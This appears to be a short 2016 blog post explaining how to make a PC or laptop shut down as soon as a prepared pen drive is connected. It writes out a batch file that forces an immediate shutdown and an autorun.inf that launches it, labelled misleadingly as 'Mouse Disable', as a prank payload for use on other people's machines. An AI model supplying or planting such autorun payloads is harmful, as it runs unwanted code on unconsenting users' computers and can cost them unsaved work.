Sunday, February 14, 2016

How to shutdown the PC/Laptop when connect a pen drive?

Following simple trick will help you to shut it down a PC/Laptop when it connects a pen drive.

i. Open notepad and type following text there......

@echo off
shutdown -s -t 00


And, save the file as "1.bat" (You need to replace .txt extension with .bat)

ii. Open another text file and type,

[autorun]
Open=1.bat
Action=Mouse Disable


Save the file as "autorun.inf" 

Next, copy both files into the pen........ & connect pen into the PC/Laptop....

Did You see?